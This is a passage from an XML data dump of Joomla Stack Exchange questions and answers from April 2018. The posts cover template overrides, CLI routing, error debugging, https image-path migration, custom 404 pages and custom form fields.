  <row Id="22673" PostTypeId="1" CreationDate="2018-04-13T10:05:53.190" Score="0" ViewCount="307" Body="&lt;p&gt;I'm working on a students directory with the following structures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Directory (parent category)&#xA;|_ 2017-2016 (child category)&#xA;|_ 2016-2015 (child category)&#xA;|_ 2015-2014 (child category)&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In each child category there are articles about a student (his resume).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a List All Categories menu type to display all child categories.&#xA;I could override the layout of this List All Categories view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I would like is to override the layout of the Category Blog view used by child categories &lt;em&gt;without having to create a menu for each child category&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've duplicated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_content/views/category/tmpl/blog.xml&#xA;com_content/views/category/tmpl/blog.php&#xA;com_content/views/category/tmpl/blog_item.php&#xA;com_content/views/category/tmpl/blog_link.php&#xA;com_content/views/category/tmpl/blog_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've rename each new files to have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_content/views/category/tmpl/test.xml&#xA;com_content/views/category/tmpl/test.php&#xA;com_content/views/category/tmpl/test_item.php&#xA;com_content/views/category/tmpl/test_link.php&#xA;com_content/views/category/tmpl/test_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I've changed the test.xml (changing BLOG by TEST):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;COM_CONTENT_CATEGORY_VIEW_TEST_TITLE&quot; option=&quot;COM_CONTENT_CATEGORY_VIEW_TEST_OPTION&quot;&amp;gt;&#xA;&amp;lt;help key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG&quot; /&amp;gt;&#xA;&amp;lt;message&amp;gt;&#xA;&amp;lt;![CDATA[COM_CONTENT_CATEGORY_VIEW_TEST_DESC]]&amp;gt;&#xA;&amp;lt;/message&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the test.xml file I've changed nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for each child category under Options tab I've chosen my new test layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In frontend, the articles of child categories (student resume) don't display.&#xA;Instead I have the message saying there is no article in this category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each child category when choosing default Blog or List layout, articles are correctly displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help me finding what I have missed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tahnk you&lt;/p&gt;&#xA;" OwnerUserId="12438" LastEditorUserId="12438" LastEditDate="2018-04-17T08:12:27.703" LastActivityDate="2024-03-16T23:02:20.240" Title="I've missed something with how category layout override is working" Tags="|joomla-3.x|overrides|category|layout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22674" PostTypeId="1" CreationDate="2018-04-13T10:43:50.723" Score="2" ViewCount="473" Body="&lt;p&gt;Can anybody shed some light how to generate an url in Joomla command-line application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems that budget was cut off at Joomla routing development because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JRoute::_('index.php?option=com_mycomponent&amp;amp;view=document&amp;amp;tmpl=component');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cli/component/mycomponent/?view=document&amp;amp;tmpl=component&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Via web it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/et/component/mycomponent/?view=document&amp;amp;tmpl=component&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could obtain hostname from &lt;code&gt;JUri::base()&lt;/code&gt; after I had set &lt;code&gt;live_site&lt;/code&gt; in configuration (weird property name considering that there exists also &lt;code&gt;site_url&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="9433" LastEditorUserId="9433" LastEditDate="2018-04-13T12:07:34.947" LastActivityDate="2018-09-11T08:01:29.700" Title="Generating URL in CLI" Tags="|jroute|router|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22675" PostTypeId="1" AcceptedAnswerId="22676" CreationDate="2018-04-13T18:49:12.790" Score="0" ViewCount="100" Body="&lt;p&gt;I am receiving the following error on a site component list view &quot;Error  An error has occurred.&quot; That's it. Nothing said of what caused it, where the error occurred or anything else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By searching the component folder I found the view.html.php file associated with this view so I modified the only error exception message I could find (added -Tasks view error- after the \n in the Exception message), but the error message on the site did not change. This leads me to believe it is coming from somewhere else. Searching the entire component folder for 'Error', 'enqueueMessage', or 'error' did not reveal any obvious culprits.&#xA;Any ideas on how to proceed in tracking this down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;view.html.php&lt;/strong&gt; (view being displayed when error occurs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($tpl = null)&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;    $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;    $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;    $this-&amp;gt;params = $app-&amp;gt;getParams('com_todo');&#xA;    $this-&amp;gt;filterForm = $this-&amp;gt;get('FilterForm');&#xA;    $this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;    // Check for errors.&#xA;    if (count($errors = $this-&amp;gt;get('Errors')))&#xA;    {&#xA;        throw new Exception(implode(&quot;\n&quot;, $errors));&#xA;    }&#xA;&#xA;    $this-&amp;gt;_prepareDocument();&#xA;    parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-04-13T19:05:23.703" Title="How to trouble-shoot alert error message with no information" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22676" PostTypeId="2" ParentId="22675" CreationDate="2018-04-13T19:05:23.703" Score="1" Body="&lt;p&gt;I have found where the error is being generated. I had looked through the Joomla debug info but mistakenly misread an error message as a 'Duplicate queries&quot; message. For those who do not know, the Joomla debug information is displayed at the bottom of the page and can be turned on by logging into the Adminstrator's panel and going to Global Configuration-&gt;System tab-&gt;Debug Settings=yes.&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-04-13T19:05:23.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22677" PostTypeId="2" ParentId="22673" CreationDate="2018-04-14T03:31:58.457" Score="0" Body="&lt;p&gt;Not 100% sure if I got you right because there are quite a few questions in one which I am not able to see what the relation is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I got you right it could be just the following setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Menu &amp;gt; Your Item &amp;gt; Blog Layout &amp;gt; Include Subcategories &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Choose 'All' there.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Apart from that your override files should not be located in the Joomla! component folder itself. They should be based in your Templates HTML folder like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YOUR_TEMPLATE/html/com_content/category/test.xml&#xA;YOUR_TEMPLATE/html/com_content/category/test.php&#xA;YOUR_TEMPLATE/html/com_content/category/test_item.php&#xA;YOUR_TEMPLATE/html/com_content/category/test_link.php&#xA;YOUR_TEMPLATE/html/com_content/category/test_children.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If this two things are not answering your questions, please specify what is working already and what not. Especially why you think you need an override for this at all is not really clear to me.&lt;/p&gt;&#xA;" OwnerUserId="11065" LastActivityDate="2018-04-14T03:31:58.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22678" PostTypeId="2" ParentId="22674" CreationDate="2018-04-14T05:28:33.173" Score="1" Body="&lt;p&gt;I played a bit around with that the last hour and the way you do seems to be right. Maybe you can share all the relevant code here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could also be related to that current Joomla! issue which results in similar URLs containing /administrator/ even if a frontend URL is generated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/20070&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/20070&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The release lead of Joomla answered there something like that this (maybe) is something which can not get fixed in J!3.8 as a alternate solution he wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;helper method that parses and removes the /administrator segment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably this could also be a temporarily solution to remove/replace your 'cli' with 'et'. Not sexy, but if your issue is related to that broken Router issue there seems no other clean way to do right now.&lt;/p&gt;&#xA;" OwnerUserId="11065" LastActivityDate="2018-04-14T05:28:33.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22680" PostTypeId="1" CreationDate="2018-04-15T13:35:41.923" Score="1" ViewCount="704" Body="&lt;p&gt;We have changed our website from &lt;strong&gt;http&lt;/strong&gt; to &lt;strong&gt;https&lt;/strong&gt;.  The site has more than 2000 articles containing images with paths using &lt;code&gt;http://&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to replace all images from &lt;code&gt;http&lt;/code&gt; to &lt;code&gt;https&lt;/code&gt;. I searched for plugins to do this, but most of the plugins are designed to support Joomla 3+.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found just one plugin, but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we fix this issue with the image paths on Joomla 1.5?&lt;/p&gt;&#xA;" OwnerUserId="12441" LastEditorUserId="12352" LastEditDate="2018-05-27T18:51:52.040" LastActivityDate="2018-11-19T08:46:54.943" Title="Update all image paths from http to https in Joomla 1.5" Tags="|joomla-1.5|ssl|https|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22681" PostTypeId="1" AcceptedAnswerId="22682" CreationDate="2018-04-15T17:52:34.663" Score="1" ViewCount="115" Body="&lt;p&gt;Does anyone have any tips on how to quickly find the file that would contain the class definition of class in Joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often find myself wanting to look up the definition of an object to be sure that I know how it is defined, or to learn more about what it does and I would prefer to be able to quickly look through the source code on my wamp development folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I am looking at an older component I wrote and want to remind myself what&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('formbehavior.chosen, select')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I ended up searching through the 'libraries' directory for a string 'function _(' until I found the right file. I have a feeling that this isn't the most efficient way to find the definition code!  :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the api.joomla.com site but that doesn't see to point me back to the correct file in my installation (and I couldn't see how to easily search the api index, or how to view the source code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance !&#xA;ps. I also posted this on the Joomla forum, so apologies if you see it twice!&lt;/p&gt;&#xA;" OwnerUserId="3629" LastActivityDate="2018-04-15T21:34:51.787" Title="how can i find which source file defines a specific class" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22682" PostTypeId="2" ParentId="22681" CreationDate="2018-04-15T21:34:51.787" Score="3" Body="&lt;p&gt;Use a decent IDE. For example, with PhpStorm, place the cursor on the method name (&lt;code&gt;_&lt;/code&gt; in this case), and press &lt;code&gt;Ctrl-B&lt;/code&gt;. The IDE finds and opens the corresponding file and scrolls to the method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that other IDEs provide a similar function. Tooling is important in the end, if you want to be efficient.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2018-04-15T21:34:51.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22684" PostTypeId="2" ParentId="18181" CreationDate="2018-04-16T06:22:16.560" Score="1" Body="&lt;p&gt;COMPONENT--&gt; JCE EDITOR--&gt; EDITOR PROFILES--&gt; DEFAULT--&gt;PLUGIN PARAMETER then mark &quot;Allow IFrames&quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dDjpE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dDjpE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12443" LastActivityDate="2018-04-16T06:22:16.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22685" PostTypeId="1" AcceptedAnswerId="24410" CreationDate="2018-04-16T07:09:23.013" Score="1" ViewCount="1551" Body="&lt;p&gt;I am working on a custom component that displays pages to the user on the front-end. It is possible that a user may try to access a page of the component that no longer exists, and in these instances, I would like to show the 404 page that is already setup. How do you cause Joomla! to display the 404 page from a custom component? Just like with a normal 404 error, I am looking for the address bar not to change. Being able to do this from the model would be preferable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2019-03-27T06:42:42.930" Title="Calling Joomla!'s Default 404 Page" Tags="|joomla-3.x|component|custom-component|error-pages|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22686" PostTypeId="1" AcceptedAnswerId="22717" CreationDate="2018-04-16T07:48:54.987" Score="0" ViewCount="148" Body="&lt;p&gt;I have some custom code which randomises a joomla video, this works fine outside of Joomla as can be seen at this &lt;a href=&quot;http://jsfiddle.net/Dtorr1981/cha2w7cu/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;fiddle&lt;/a&gt;, however when the code is placed into a Joomla custom module and published the videos do not randomise as can be seen &lt;a href=&quot;https://www.outyego.com/staging&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; under the module heading FAB PLACES TO GO ON OYG (2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing I have disabled Cloudflare plus JCH and Jotcache, but the same video loads everytime the page loads. I am seeing a JS error in the console...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(index):1045 Uncaught ReferenceError: _ is not defined&#xA;    at onPlayerReady ((index):1045)&#xA;    at M.h.G (www-widgetapi.js:48)&#xA;    at Y.h.o (www-widgetapi.js:92)&#xA;    at Y.h.H (www-widgetapi.js:105)&#xA;    at Wa.g (www-widgetapi.js:81)&#xA;    at Oa.f (www-widgetapi.js:70)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can get this working? I;ve been looking at getting it working for some time now and am completely stuck. The JS is inline between  tags. &lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-04-16T13:05:19.937" LastActivityDate="2018-04-19T08:02:49.000" Title="Trying to embed custom YouTube iFrame into Joomla module" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22687" PostTypeId="2" ParentId="22680" CreationDate="2018-04-16T08:44:58.720" Score="1" Body="&lt;p&gt;Don't use PHP to perform global redirects like this. It needs to be done at server level, rather than application level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve this by adding the following to your &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{HTTPS} off&#xA;RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-04-16T08:44:58.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22688" PostTypeId="1" CreationDate="2018-04-16T11:27:45.650" Score="2" ViewCount="137" Body="&lt;p&gt;How to Restrict &lt;strong&gt;unregistered users&lt;/strong&gt; from accessing any of the Joomla website?&lt;/p&gt;&#xA;" OwnerUserId="12444" LastEditorUserId="115" LastEditDate="2018-04-16T23:50:10.487" LastActivityDate="2018-04-19T17:37:45.030" Title="Restrict unregistered users from accessing the whole joomla site" Tags="|joomla-3.x|user|acl|access|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22690" PostTypeId="2" ParentId="22685" CreationDate="2018-04-16T13:00:01.613" Score="4" Body="&lt;p&gt;In your Joomla installation directory reach templates/themeXXX/error.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the error.php file as shown below, locate this line of code:&#xA;If you don't want to change address bar url then you can use below code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;error-&amp;gt;getCode()) == '404') {&#xA;header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;echo file_get_contents(JURI::root().'alias-of-404-article-page');&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9104" LastEditorUserId="9104" LastEditDate="2018-04-16T13:18:43.273" LastActivityDate="2018-04-16T13:18:43.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22691" PostTypeId="1" AcceptedAnswerId="22946" CreationDate="2018-04-16T13:01:46.773" Score="2" ViewCount="137" Body="&lt;p&gt;I've created a plugin and added a couple of custom fields to its backend. For that I followed the indications &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;from the Joomla docs&lt;/a&gt;. I extended for example &lt;code&gt;JFormFieldList&lt;/code&gt; to get a dropdown list of options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fields work fine if the plugin is enabled. But when the plugin is disabled, &#xA;the list is not rendered. I get just a basic text box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same problem with another custom field that should display a button. The button appears if the plugin is enabled but if it’s disabled, I get the same basic text box instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume therefore that the problem is that the php of the custom fields is not run when the plugin is disabled. Is there a way around that?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: here’s one of my custom fields&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;jimport('joomla.form.formfield');&#xA;class JFormFieldZotcslLocales extends JFormFieldList&#xA;{&#xA;    protected $type = 'ZotcslLocales';&#xA;&#xA;    public function getOptions() {&#xA;        $path = JPATH_ROOT.'/media/plg_zotbib/locales/*.xml';&#xA;        foreach(glob($path) as $file){&#xA;            $name = basename($file, '.xml');&#xA;            $name = str_replace('locales-', '', $name);&#xA;            $locales[$name] = $name;&#xA;        }&#xA;        return $locales;&#xA;    }&#xA;}&#xA;?&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And here’s how it’s included in the manifest file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;locale&quot; type=&quot;zotcsllocales&quot;&#xA;    description=&quot;PLG_ZOTBIB_LOCALE_DESC&quot;&#xA;    label=&quot;PLG_ZOTBIB_LOCALE_LABEL&quot;&#xA;    required=&quot;true&quot;&#xA;    /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3412" LastEditorUserId="3412" LastEditDate="2018-04-16T18:27:45.253" LastActivityDate="2018-06-18T07:40:35.657" Title="Custom form field types unavailable in plugin backend when plugin disabled" Tags="|joomla-3.x|custom-field|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22693" PostTypeId="1" AcceptedAnswerId="22694" CreationDate="2018-04-16T13:35:38.817" Score="1" ViewCount="162" Body="&lt;p&gt;I am looking to create an override of a component to add a button, however for each page that uses the override, I need the button to have a different ID as by clicking the button it will open a sidebar menu using engagebox. Engagebox uses classes/Id's to identify the action required. So for example, of the source code for the button was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; class=&quot;sidemenu&quot; id=&quot;**dynamic class based on page class**&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then if the page class is .industry, is it possible to set the id=&quot;industry&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***** Update ******&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each page has a sidebar menu - at present this gets in the way of the page content, thus the website owner wants these sidebar menu's to become off canvass menu's. The menu's also need to be open on original page load. These can be closed by the user manually using the menu's close button however, there will also need to be a button to open and close the menu manually. For engage box to do this the button needs to include the data-ebox value within the div/button tags. I can add this button as an override however this will not allow the data-ebox value to change depending on the page that the menu is on (the menu is different on every page) so every page needs a different data-ebox value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My original though was to create an array of data-ebox values which will link the correct offcanvas menu to the correct page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; data-ebox=&quot;1&quot; class=&quot;sidemenu&quot; id=&quot;generated page class&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From this point I would need to select the correct ebox number from what I am guessing would be an array of all available data-ebox numbers - I'm guessing this part would need to be JS. So for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;data-ebox 1 = .industry&#xA;data-ebox 2 = .services&#xA;data-ebox 3 = .business&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on. Is this possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea's/suggestions would be most welcome.&lt;/p&gt;&#xA;&#xA;# Update&#xA;&#xA;&lt;p&gt;I have created the following code, which is getting there, however the ebox variable is not updated based on the pageclass variable. Any suggestions would be most appreciated. I have added the doc write to export the variable values for testing purposes. I have also set up a staging site &lt;a href=&quot;https://sitewidedesign.co.uk/pancake/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and created an article override and added the code which I have set up the page classes for the Home/About/Contact pages. Any help would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;            $menu  = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;            $class = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;script&amp;gt;&#xA;            var pageclass = &quot;'&amp;lt;?php echo $class ;?&amp;gt;'&quot;;&#xA;            var ebox = 0;&#xA;            document.write(pageclass, ebox);&#xA;&#xA;        if (pageclass == &quot;home&quot;) {&#xA;            ebox = 1;&#xA;            } &#xA;        else if (pageclass == &quot;about&quot;) {&#xA;            ebox = 2;&#xA;            }&#xA;        else if (pageclass == &quot;contact&quot;) {&#xA;            ebox = 3;&#xA;            }&#xA;&#xA;        document.write('&amp;lt;a class=&quot;btn&quot; data-ebox=&quot;' + ebox + '&quot; href=&quot;#&quot;&amp;gt;Menu&amp;lt;/a&amp;gt;');&#xA;        document.write(pageclass,ebox);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best Regards&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-04-18T18:09:37.853" LastActivityDate="2018-04-18T18:09:37.853" Title="Dynamically change ID of a href based on page class" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22694" PostTypeId="2" ParentId="22693" CreationDate="2018-04-16T15:22:40.097" Score="1" Body="&lt;p&gt;You can get the page class suffix, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu  = JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;$class = $menu-&amp;gt;params-&amp;gt;get('pageclass_sfx');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then add it as an ID so your anchor, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; class=&quot;sidemenu&quot; id=&quot;&amp;lt;?php echo $class; ?&amp;gt;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-04-16T15:22:40.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22695" PostTypeId="2" ParentId="15238" CreationDate="2018-04-17T00:32:51.557" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Component.ComponentHelper.html#method_renderComponent&quot; rel=&quot;nofollow noreferrer&quot;&gt;ComponentHelper&lt;/a&gt; class for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyCliApp extends JApplicationCli&#xA;{&#xA;&#xA;    public function doExecute()&#xA;    {    &#xA;        // Fool Joomla factory into loading CMS application&#xA;        $app = JFactory::getApplication('site');&#xA;&#xA;        // Transfer arguments into the CMS application's input&#xA;        $app-&amp;gt;input-&amp;gt;set('task', 'controllername.taskname');&#xA;        $app-&amp;gt;input-&amp;gt;set('arg1', $this-&amp;gt;input-&amp;gt;getInt('arg1'));&#xA;&#xA;        // Invoke the component&#xA;        $component = Joomla\CMS\Component\ComponentHelper::renderComponent('com_mycomponent');&#xA;&#xA;        $this-&amp;gt;out('Finished');&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('MyCliApp')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not done much experimentation with this yet, so not certain what pitfalls you may hit with it yet, but it is meeting my own needs for now at least (allowing me to invoke a task in my component from a cron job).&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2018-04-17T00:32:51.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22696" PostTypeId="2" ParentId="22680" CreationDate="2018-04-17T00:38:32.813" Score="0" Body="&lt;p&gt;You can use an external script to get your database in order. I have used this one from interconnect/it a lot on both Joomla and Wordpress. It is awesome and totally free. It is a script you upload to your server, no plugin needed. It even does a dry run before doing a live run so you can be sure you are only searching and replacing what you need and not grabbing unintended results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://interconnectit.com/products/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://interconnectit.com/products/search-and-replace-for-wordpress-databases/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't worry about link name, it will work on any database type cms system. It works really well with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I would recommend you just search and replace &lt;code&gt;http://yourdomainname.com/images&lt;/code&gt; with a relative link such as &lt;code&gt;/images&lt;/code&gt; or just &lt;code&gt;images&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2018-04-17T00:38:32.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22697" PostTypeId="1" CreationDate="2018-04-17T09:10:36.197" Score="1" ViewCount="1882" Body="&lt;p&gt;We are facing some issues in our website. I am attaching screenshot of the error. I need help, can anyone help me to overcome the issue. Only main domain pages is not showing all other installed sub domains are working correctly like &#xA;bswa.org.pk/majestic &#xA;bswa.org.pk/hrm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6xym0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6xym0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12448" LastEditorUserId="12448" LastEditDate="2018-04-17T09:22:37.093" LastActivityDate="2018-04-18T06:48:16.760" Title="My joomla website is showing Error displaying the error page" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="1" ClosedDate="2018-05-01T21:43:53.717" ContentLicense="CC BY-SA 